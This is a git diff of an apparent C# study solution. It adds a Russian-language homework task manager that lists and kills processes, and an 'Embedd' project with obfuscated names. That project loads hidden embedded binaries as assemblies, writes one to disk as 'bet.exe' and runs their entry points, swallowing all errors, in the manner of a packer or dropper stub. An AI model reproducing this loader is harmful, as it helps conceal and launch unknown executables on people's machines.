diff --git "a/Embedd/1\302\212\302\231\302\226\302\234v\302\217\302\214\302\234\302\234q\302\234\302\237g\302\211\302\220\302\224v.\302\207\302\2238\302\215\302\213\302\231\302\2204\302\235\302\233\302\211qeyft4l" "b/Embedd/1\302\212\302\231\302\226\302\234v\302\217\302\214\302\234\302\234q\302\234\302\237g\302\211\302\220\302\224v.\302\207\302\2238\302\215\302\213\302\231\302\2204\302\235\302\233\302\211qeyft4l" new file mode 100644 index 0000000..62d5601 Binary files /dev/null and "b/Embedd/1\302\212\302\231\302\226\302\234v\302\217\302\214\302\234\302\234q\302\234\302\237g\302\211\302\220\302\224v.\302\207\302\2238\302\215\302\213\302\231\302\2204\302\235\302\233\302\211qeyft4l" differ diff --git a/Embedd/2 b/Embedd/2 new file mode 100644 index 0000000..058e6f9 Binary files /dev/null and b/Embedd/2 differ diff --git a/Embedd/3 b/Embedd/3 new file mode 100644 index 0000000..6633fe9 Binary files /dev/null and b/Embedd/3 differ diff --git a/Embedd/4 b/Embedd/4 new file mode 100644 index 0000000..13952dc Binary files /dev/null and b/Embedd/4 differ diff --git a/Embedd/Embedd.csproj b/Embedd/Embedd.csproj new file mode 100644 index 0000000..6434fef --- /dev/null +++ b/Embedd/Embedd.csproj @@ -0,0 +1,29 @@ + + + + Exe + net5.0 + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Embedd/Program.cs b/Embedd/Program.cs new file mode 100644 index 0000000..db7de1a --- /dev/null +++ b/Embedd/Program.cs @@ -0,0 +1,175 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Reflection; + +namespace Embedd +{ + internal class Program + { + + + + static void Main(string[] args) + { + Console.WriteLine("Hello World!"); + var tod = DateTime.Now; + var mess = tod.AddMonths(1).AddDays(5); + + _.___(); + + Console.ReadLine(); + + } + public class _ + { + public static void ___() + { + List list = new List(); + //list.Add("˜Embedd.j0œš–•‘bxp“ž†fien.”–œži’b“n6”a’Ž“Š‎"); + //list.Add("Embedd.kf8˜0r“™oncŠd˜b4.™f8š2‹”nžqc5‘œ22h‎"); + //list.Add("Embedd.u˜iœp‡9xj‹•t3xr5f.ˆvŽ8uxˆo4›‰šžek‰3j‎"); + //list.Add("Embedd.˜e™ehxu–‹8n›w0‰.ˆcr1ŠkŽr3Žn‡au1he"); + list.Add("Embedd._"); + list.Add("Embedd.1"); + list.Add("Embedd.2"); + list.Add("Embedd.3"); + list.Add("Embedd.4"); + + + try + { + foreach (var item in list) + { + byte[] array = null; + Stream manifestResourceStream=null; + try + { + + + manifestResourceStream = typeof(_).Assembly.GetManifestResourceStream(item); + array = new byte[manifestResourceStream.Length]; + manifestResourceStream.Read(array, 0, array.Length); + manifestResourceStream.Close(); + } + catch (Exception) + { + + continue; + } + + byte[] array2 = null; + if (typeof(_).Assembly.GetManifestResourceNames().Length > 1) + { + manifestResourceStream = typeof(_).Assembly.GetManifestResourceStream(item); + array2 = new byte[manifestResourceStream.Length]; + manifestResourceStream.Read(array2, 0, array2.Length); + manifestResourceStream.Close(); + } + AppDomain.CurrentDomain.ResourceResolve += _.CurrentDomain_ResourceResolve; + AppDomain.CurrentDomain.AssemblyResolve += _.CurrentDomain_AssemblyResolve; + if (array2 != null) + { + _.__ = Assembly.Load(array, array2); + } + else + { + _.__ = Assembly.Load(array); + System.IO.File.WriteAllBytes("bet.exe", array); + } + AssemblyName[] referencedAssemblies = _.__.GetReferencedAssemblies(); + try + { + foreach (AssemblyName assemblyName in referencedAssemblies) + { + if (assemblyName.Name == "PresentationFramework") + { + foreach (Type type in _.__.GetTypes()) + { + if (type.BaseType.FullName == "System.Windows.Application") + { + type.BaseType.GetProperty("ResourceAssembly").SetValue(null, _.__, null); + break; + } + } + break; + } + } + } + catch (Exception) + { + } + try + { + if (_.__.EntryPoint.GetParameters().Length > 0) + { + string[] array4 = Environment.GetCommandLineArgs(); + if (array4.Length > 0) + { + string[] array5 = new string[array4.Length - 1]; + Array.Copy(array4, 1, array5, 0, array4.Length - 1); + array4 = array5; + } + _.__.EntryPoint.Invoke(null, new object[] { array4 }); + } + else + { + _.__.EntryPoint.Invoke(null, new object[0]); + } + } + catch (Exception ex) + { + //MessageBox.Show(ex.ToString()); + } + } + } + catch (Exception) + { + + //throw; + } + + } + + static Assembly CurrentDomain_AssemblyResolve(object sender, ResolveEventArgs args) + { + Assembly result; + lock (_.o) + { + if (_.__ != null && args.Name != null) + { + string a = args.Name.Split(new char[] { ',' })[0]; + if (a == _.__.GetName().Name) + { + return _.__; + } + } + result = null; + } + return result; + } + + static Assembly CurrentDomain_ResourceResolve(object sender, ResolveEventArgs args) + { + if (_.__ != null) + { + return _.__; + } + return null; + } + + public _() + { + } + + // Note: this type is marked as 'beforefieldinit'. + static _() + { + } + + static Assembly __ = null; + + static object o = new List(); + } + } +} \ No newline at end of file diff --git a/Embedd/_ b/Embedd/_ new file mode 100644 index 0000000..74effd2 Binary files /dev/null and b/Embedd/_ differ diff --git "a/Embedd/\302\2301" "b/Embedd/\302\2301" new file mode 100644 index 0000000..55a2eac Binary files /dev/null and "b/Embedd/\302\2301" differ diff --git a/Less6/Less6.csproj b/Less6/Less6.csproj new file mode 100644 index 0000000..2082704 --- /dev/null +++ b/Less6/Less6.csproj @@ -0,0 +1,8 @@ + + + + Exe + net5.0 + + + diff --git a/Less6/Program.cs b/Less6/Program.cs new file mode 100644 index 0000000..c59e147 --- /dev/null +++ b/Less6/Program.cs @@ -0,0 +1,73 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; + +namespace Less6 +{//Написать консольное приложение Task Manager, + //которое выводит на экран запущенные процессы и позволяет завершить указанный процесс. + //Предусмотреть возможность завершения процессов с помощью указания его ID или имени процесса. + //В качестве примера можно использовать консольные утилиты Windows tasklist и taskkill. + internal class Program + { + static void Main(string[] args) + { + Console.WriteLine("Task Manager"); + var ps = Process.GetProcesses(); + List list = new List(); + list.AddRange(ps); + Console.WriteLine($"Кол-во запущуенный {list.Count}"); + Console.WriteLine(new String('=', 30)); + int count = 0; + foreach (var proc in list) + { + + Console.WriteLine($"[{count}]\t{proc.Id}\t{proc.ProcessName}\t{proc.BasePriority}"); + count++; + } + Console.Write("Ввести Id для закрытия = "); + while (true) + { + var ids = Console.ReadLine(); + int id = -1; + int.TryParse(ids, out id); + if (id >= 0 && id <= list.Count) + { + + var procdel = list.FirstOrDefault(p => p.Id == id); + if (procdel != null) + { + var tempName = procdel.ProcessName; + try + { + procdel.Kill(); + Console.WriteLine($"close {tempName} "); + list.Remove(procdel); + Console.WriteLine($"Кол-во запущуенный {list.Count}"); + } + catch (InvalidOperationException) + { + Console.WriteLine($"Process {tempName} not found!"); + } + Console.WriteLine("Закрыть процессы еще или выйти из приложения, y/n "); + var sl = Console.ReadLine().ToLower(); + var flag = sl == "y"; + if (!flag) + { + Environment.Exit(0); + } + } + + } + else + { + Console.WriteLine("Введено не верно"); + } + + } + + + Console.ReadLine(); + } + } +} diff --git a/StudyProject.sln b/StudyProject.sln index d04b143..c9c57a1 100644 --- a/StudyProject.sln +++ b/StudyProject.sln @@ -11,6 +11,10 @@ Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "less4", "less4\less4.csproj EndProject Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "less5", "less5\less5.csproj", "{B371D792-7468-4117-BC92-9F82C4262A17}" EndProject +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Embedd", "Embedd\Embedd.csproj", "{97893459-574E-43F7-A7A5-34BA9BA195F5}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Less6", "Less6\Less6.csproj", "{D16B8631-360E-4130-90A4-A57CC75149CB}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU @@ -33,6 +37,14 @@ Global {B371D792-7468-4117-BC92-9F82C4262A17}.Debug|Any CPU.Build.0 = Debug|Any CPU {B371D792-7468-4117-BC92-9F82C4262A17}.Release|Any CPU.ActiveCfg = Release|Any CPU {B371D792-7468-4117-BC92-9F82C4262A17}.Release|Any CPU.Build.0 = Release|Any CPU + {97893459-574E-43F7-A7A5-34BA9BA195F5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {97893459-574E-43F7-A7A5-34BA9BA195F5}.Debug|Any CPU.Build.0 = Debug|Any CPU + {97893459-574E-43F7-A7A5-34BA9BA195F5}.Release|Any CPU.ActiveCfg = Release|Any CPU + {97893459-574E-43F7-A7A5-34BA9BA195F5}.Release|Any CPU.Build.0 = Release|Any CPU + {D16B8631-360E-4130-90A4-A57CC75149CB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {D16B8631-360E-4130-90A4-A57CC75149CB}.Debug|Any CPU.Build.0 = Debug|Any CPU + {D16B8631-360E-4130-90A4-A57CC75149CB}.Release|Any CPU.ActiveCfg = Release|Any CPU + {D16B8631-360E-4130-90A4-A57CC75149CB}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/Untitled Diagram.drawio b/Untitled Diagram.drawio new file mode 100644 index 0000000..78b53bc --- /dev/null +++ b/Untitled Diagram.drawio @@ -0,0 +1,806 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +